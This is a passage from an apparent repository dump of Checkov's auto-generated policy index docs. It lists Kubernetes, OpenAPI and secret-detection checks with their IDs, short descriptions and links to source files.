[KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                   |\n| 872 | CKV_K8S_149 | resource | DaemonSet              | Ensure that the --rotate-certificates argument is not set to false                                                                                                                             | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                   |\n| 873 | CKV_K8S_149 | resource | Deployment             | Ensure that the --rotate-certificates argument is not set to false                                                                                                                             | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                   |\n| 874 | CKV_K8S_149 | resource | DeploymentConfig       | Ensure that the --rotate-certificates argument is not set to false                                                                                                                             | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                   |\n| 875 | CKV_K8S_149 | resource | Job                    | Ensure that the --rotate-certificates argument is not set to false                                                                                                                             | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                   |\n| 876 | CKV_K8S_149 | resource | Pod                    | Ensure that the --rotate-certificates argument is not set to false                                                                                                                             | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                   |\n| 877 | CKV_K8S_149 | resource | PodTemplate            | Ensure that the --rotate-certificates argument is not set to false                                                                                                                             | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                   |\n| 878 | CKV_K8S_149 | resource | ReplicaSet             | Ensure that the --rotate-certificates argument is not set to false                                                                                                                             | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                   |\n| 879 | CKV_K8S_149 | resource | ReplicationController  | Ensure that the --rotate-certificates argument is not set to false                                                                                                                             | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                   |\n| 880 | CKV_K8S_149 | resource | StatefulSet            | Ensure that the --rotate-certificates argument is not set to false                                                                                                                             | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                   |\n| 881 | CKV_K8S_151 | resource | CronJob                | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                         | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                             |\n| 882 | CKV_K8S_151 | resource | DaemonSet              | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                         | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                             |\n| 883 | CKV_K8S_151 | resource | Deployment             | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                         | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                             |\n| 884 | CKV_K8S_151 | resource | DeploymentConfig       | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                         | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                             |\n| 885 | CKV_K8S_151 | resource | Job                    | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                         | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                             |\n| 886 | CKV_K8S_151 | resource | Pod                    | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                         | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                             |\n| 887 | CKV_K8S_151 | resource | PodTemplate            | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                         | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                             |\n| 888 | CKV_K8S_151 | resource | ReplicaSet             | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                         | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                             |\n| 889 | CKV_K8S_151 | resource | ReplicationController  | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                         | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                             |\n| 890 | CKV_K8S_151 | resource | StatefulSet            | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                         | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                             |\n| 891 | CKV_K8S_152 | resource | Ingress                | Prevent NGINX Ingress annotation snippets which contain LUA code execution. See CVE-2021-25742                                                                                                 | Kubernetes | [NginxIngressCVE202125742Lua.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Lua.py)                                             |\n| 892 | CKV_K8S_153 | resource | Ingress                | Prevent All NGINX Ingress annotation snippets. See CVE-2021-25742                                                                                                                              | Kubernetes | [NginxIngressCVE202125742AllSnippets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742AllSnippets.py)                             |\n| 893 | CKV_K8S_154 | resource | Ingress                | Prevent NGINX Ingress annotation snippets which contain alias statements See CVE-2021-25742                                                                                                    | Kubernetes | [NginxIngressCVE202125742Alias.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Alias.py)                                         |\n| 894 | CKV_K8S_155 | resource | ClusterRole            | Minimize ClusterRoles that grant control over validating or mutating admission webhook configurations                                                                                          | Kubernetes | [RbacControlWebhooks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacControlWebhooks.py)                                                             |\n| 895 | CKV_K8S_156 | resource | ClusterRole            | Minimize ClusterRoles that grant permissions to approve CertificateSigningRequests                                                                                                             | Kubernetes | [RbacApproveCertificateSigningRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacApproveCertificateSigningRequests.py)                         |\n| 896 | CKV_K8S_157 | resource | ClusterRole            | Minimize Roles and ClusterRoles that grant permissions to bind RoleBindings or ClusterRoleBindings                                                                                             | Kubernetes | [RbacBindRoleBindings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacBindRoleBindings.py)                                                           |\n| 897 | CKV_K8S_157 | resource | Role                   | Minimize Roles and ClusterRoles that grant permissions to bind RoleBindings or ClusterRoleBindings                                                                                             | Kubernetes | [RbacBindRoleBindings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacBindRoleBindings.py)                                                           |\n| 898 | CKV_K8S_158 | resource | ClusterRole            | Minimize Roles and ClusterRoles that grant permissions to escalate Roles or ClusterRoles                                                                                                       | Kubernetes | [RbacEscalateRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacEscalateRoles.py)                                                                 |\n| 899 | CKV_K8S_158 | resource | Role                   | Minimize Roles and ClusterRoles that grant permissions to escalate Roles or ClusterRoles                                                                                                       | Kubernetes | [RbacEscalateRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacEscalateRoles.py)                                                                 |\n| 900 | CKV_K8S_159 | resource | CronJob                | Limit the use of git-sync to prevent code injection                                                                                                                                            | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                   |\n| 901 | CKV_K8S_159 | resource | DaemonSet              | Limit the use of git-sync to prevent code injection                                                                                                                                            | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                   |\n| 902 | CKV_K8S_159 | resource | Deployment             | Limit the use of git-sync to prevent code injection                                                                                                                                            | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                   |\n| 903 | CKV_K8S_159 | resource | DeploymentConfig       | Limit the use of git-sync to prevent code injection                                                                                                                                            | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                   |\n| 904 | CKV_K8S_159 | resource | Job                    | Limit the use of git-sync to prevent code injection                                                                                                                                            | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                   |\n| 905 | CKV_K8S_159 | resource | Pod                    | Limit the use of git-sync to prevent code injection                                                                                                                                            | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                   |\n| 906 | CKV_K8S_159 | resource | PodTemplate            | Limit the use of git-sync to prevent code injection                                                                                                                                            | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                   |\n| 907 | CKV_K8S_159 | resource | ReplicaSet             | Limit the use of git-sync to prevent code injection                                                                                                                                            | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                   |\n| 908 | CKV_K8S_159 | resource | ReplicationController  | Limit the use of git-sync to prevent code injection                                                                                                                                            | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                   |\n| 909 | CKV_K8S_159 | resource | StatefulSet            | Limit the use of git-sync to prevent code injection                                                                                                                                            | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                   |\n| 910 | CKV2_K8S_1  | resource | ClusterRole            | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding                                                                                             | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml)                                                                     |\n| 911 | CKV2_K8S_1  | resource | ClusterRoleBinding     | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding                                                                                             | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml)                                                                     |\n| 912 | CKV2_K8S_1  | resource | Role                   | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding                                                                                             | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml)                                                                     |\n| 913 | CKV2_K8S_1  | resource | RoleBinding            | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding                                                                                             | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml)                                                                     |\n| 914 | CKV2_K8S_2  | resource | ClusterRole            | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation                                                                              | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml)                                       |\n| 915 | CKV2_K8S_2  | resource | ClusterRoleBinding     | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation                                                                              | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml)                                       |\n| 916 | CKV2_K8S_2  | resource | Role                   | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation                                                                              | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml)                                       |\n| 917 | CKV2_K8S_2  | resource | RoleBinding            | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation                                                                              | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml)                                       |\n| 918 | CKV2_K8S_3  | resource | ClusterRole            | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts                                                                                                 | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml)                                                   |\n| 919 | CKV2_K8S_3  | resource | ClusterRoleBinding     | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts                                                                                                 | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml)                                                   |\n| 920 | CKV2_K8S_3  | resource | Role                   | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts                                                                                                 | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml)                                                   |\n| 921 | CKV2_K8S_3  | resource | RoleBinding            | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts                                                                                                 | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml)                                                   |\n| 922 | CKV2_K8S_4  | resource | ClusterRole            | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml)                                                       |\n| 923 | CKV2_K8S_4  | resource | ClusterRoleBinding     | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml)                                                       |\n| 924 | CKV2_K8S_4  | resource | Role                   | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml)                                                       |\n| 925 | CKV2_K8S_4  | resource | RoleBinding            | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml)                                                       |\n| 926 | CKV2_K8S_5  | resource | ClusterRole            | No ServiceAccount/Node should be able to read all secrets                                                                                                                                      | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml)                                                                   |\n| 927 | CKV2_K8S_5  | resource | ClusterRoleBinding     | No ServiceAccount/Node should be able to read all secrets                                                                                                                                      | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml)                                                                   |\n| 928 | CKV2_K8S_5  | resource | Role                   | No ServiceAccount/Node should be able to read all secrets                                                                                                                                      | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml)                                                                   |\n| 929 | CKV2_K8S_5  | resource | RoleBinding            | No ServiceAccount/Node should be able to read all secrets                                                                                                                                      | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml)                                                                   |\n| 930 | CKV2_K8S_6  | resource | Deployment             | Minimize the admission of pods which lack an associated NetworkPolicy                                                                                                                          | Kubernetes | [RequireAllPodsToHaveNetworkPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RequireAllPodsToHaveNetworkPolicy.yaml)                             |\n| 931 | CKV2_K8S_6  | resource | Pod                    | Minimize the admission of pods which lack an associated NetworkPolicy                                                                                                                          | Kubernetes | [RequireAllPodsToHaveNetworkPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RequireAllPodsToHaveNetworkPolicy.yaml)                             |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/openapi.md",
    "content": "---\nlayout: default\ntitle: openapi resource scans\nnav_order: 1\n---\n\n# openapi resource scans (auto generated)\n\n|    | Id             | Type     | Entity              | Policy                                                                                                                                       | IaC     | Resource Link                                                                                                                                                             |\n|----|----------------|----------|---------------------|----------------------------------------------------------------------------------------------------------------------------------------------|---------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_OPENAPI_1  | resource | securityDefinitions | Ensure that securityDefinitions is defined and not empty - version 2.0 files                                                                 | OpenAPI | [SecurityDefinitions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityDefinitions.py)                                     |\n|  1 | CKV_OPENAPI_2  | resource | security            | Ensure that if the security scheme is not of type 'oauth2', the array value must be empty - version 2.0 files                                | OpenAPI | [Oauth2SecurityRequirement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityRequirement.py)                         |\n|  2 | CKV_OPENAPI_3  | resource | components          | Ensure that security schemes don't allow cleartext credentials over unencrypted channel - version 3.x.y files                                | OpenAPI | [CleartextOverUnencryptedChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v3/CleartextOverUnencryptedChannel.py)             |\n|  3 | CKV_OPENAPI_4  | resource | security            | Ensure that the global security field has rules defined                                                                                      | OpenAPI | [GlobalSecurityFieldIsEmpty.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/GlobalSecurityFieldIsEmpty.py)                  |\n|  4 | CKV_OPENAPI_5  | resource | security            | Ensure that security operations is not empty.                                                                                                | OpenAPI | [SecurityOperations.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/SecurityOperations.py)                                  |\n|  5 | CKV_OPENAPI_6  | resource | security            | Ensure that security requirement defined in securityDefinitions - version 2.0 files                                                          | OpenAPI | [SecurityRequirement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityRequirement.py)                                     |\n|  6 | CKV_OPENAPI_7  | resource | security            | Ensure that the path scheme does not support unencrypted HTTP connection where all transmissions are open to interception- version 2.0 files | OpenAPI | [PathSchemeDefineHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/PathSchemeDefineHTTP.py)                                   |\n|  7 | CKV_OPENAPI_8  | resource | security            | Ensure that security is not using 'password' flow in OAuth2 authentication - version 2.0 files                                               | OpenAPI | [Oauth2SecurityPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityPasswordFlow.py)                       |\n|  8 | CKV_OPENAPI_9  | resource | paths               | Ensure that security scopes of operations are defined in securityDefinitions - version 2.0 files                                             | OpenAPI | [OperationObjectSecurityScopeUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectSecurityScopeUndefined.py) |\n|  9 | CKV_OPENAPI_10 | resource | paths               | Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files                                       | OpenAPI | [Oauth2OperationObjectPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2OperationObjectPasswordFlow.py)         |\n| 10 | CKV_OPENAPI_11 | resource | securityDefinitions | Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files                                       | OpenAPI | [Oauth2SecurityDefinitionPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionPasswordFlow.py)   |\n| 11 | CKV_OPENAPI_12 | resource | securityDefinitions | Ensure no security definition is using implicit flow on OAuth2, which is deprecated - version 2.0 files                                      | OpenAPI | [Oauth2SecurityDefinitionImplicitFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionImplicitFlow.py)   |\n| 12 | CKV_OPENAPI_13 | resource | securityDefinitions | Ensure security definitions do not use basic auth - version 2.0 files                                                                        | OpenAPI | [SecurityDefinitionBasicAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityDefinitionBasicAuth.py)                     |\n| 13 | CKV_OPENAPI_14 | resource | paths               | Ensure that operation objects do not use 'implicit' flow, which is deprecated - version 2.0 files                                            | OpenAPI | [OperationObjectImplicitFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectImplicitFlow.py)                     |\n| 14 | CKV_OPENAPI_15 | resource | paths               | Ensure that operation objects do not use basic auth - version 2.0 files                                                                      | OpenAPI | [OperationObjectBasicAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectBasicAuth.py)                           |\n| 15 | CKV_OPENAPI_16 | resource | paths               | Ensure that operation objects have 'produces' field defined for GET operations - version 2.0 files                                           | OpenAPI | [OperationObjectProducesUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectProducesUndefined.py)           |\n| 16 | CKV_OPENAPI_17 | resource | paths               | Ensure that operation objects have 'consumes' field defined for PUT, POST and PATCH operations - version 2.0 files                           | OpenAPI | [OperationObjectConsumesUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectConsumesUndefined.py)           |\n| 17 | CKV_OPENAPI_18 | resource | schemes             | Ensure that global schemes use 'https' protocol instead of 'http'- version 2.0 files                                                         | OpenAPI | [GlobalSchemeDefineHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/GlobalSchemeDefineHTTP.py)                               |\n| 18 | CKV_OPENAPI_19 | resource | security            | Ensure that global security scope is defined in securityDefinitions - version 2.0 files                                                      | OpenAPI | [GlobalSecurityScopeUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/GlobalSecurityScopeUndefined.py)                   |\n| 19 | CKV_OPENAPI_20 | resource | paths               | Ensure that API keys are not sent over cleartext                                                                                             | OpenAPI | [ClearTextAPIKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/ClearTextAPIKey.py)                                        |\n| 20 | CKV_OPENAPI_21 | resource | paths               | Ensure that arrays have a maximum number of items                                                                                            | OpenAPI | [NoMaximumNumberItems.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/NoMaximumNumberItems.py)                              |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/secrets.md",
    "content": "---\nlayout: default\ntitle: secrets resource scans\nnav_order: 1\n---\n\n# secrets resource scans (auto generated)\n\n|    | Id            | Type                             | Entity   | Policy                           | IaC     | Resource Link                                                                                                                                                              |\n|----|---------------|----------------------------------|----------|----------------------------------|---------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_SECRET_1  | Artifactory Credentials          | secrets  | Artifactory Credentials          | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n|  1 | CKV_SECRET_2  | AWS Access Key                   | secrets  | AWS Access Key                   | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n|  2 | CKV_SECRET_3  | Azure Storage Account access key | secrets  | Azure Storage Account access key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n|  3 | CKV_SECRET_4  | Basic Auth Credentials           | secrets  | Basic Auth Credentials           | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n|  4 | CKV_SECRET_5  | Cloudant Credentials             | secrets  | Cloudant Credentials             | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n|  5 | CKV_SECRET_6  | Base64 High Entropy String       | secrets  | Base64 High Entropy String       | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n|  6 | CKV_SECRET_7  | IBM Cloud IAM Key                | secrets  | IBM Cloud IAM Key                | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n|  7 | CKV_SECRET_8  | IBM COS HMAC Credentials         | secrets  | IBM COS HMAC Credentials         | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n|  8 | CKV_SECRET_9  | JSON Web Token                   | secrets  | JSON Web Token                   | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n|  9 | CKV_SECRET_11 | Mailchimp Access Key             | secrets  | Mailchimp Access Key             | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n| 10 | CKV_SECRET_12 | NPM tokens                       | secrets  | NPM tokens                       | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n| 11 | CKV_SECRET_13 | Private Key                      | secrets  | Private Key                      | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n| 12 | CKV_SECRET_14 | Slack Token                      | secrets  | Slack Token                      | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n| 13 | CKV_SECRET_15 | SoftLayer Credentials            | secrets  | SoftLayer Credentials            | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n| 14 | CKV_SECRET_16 | Square OAuth Secret              | secrets  | Square OAuth Secret              | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n| 15 | CKV_SECRET_17 | Stripe Access Key                | secrets  | Stripe Access Key                | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n| 16 | CKV_SECRET_18 | Twilio API Key                   | secrets  | Twilio API Key                   | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n| 17 | CKV_SECRET_19 | Hex High Entropy String          | secrets  | Hex High Entropy String          | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/serverless.md",
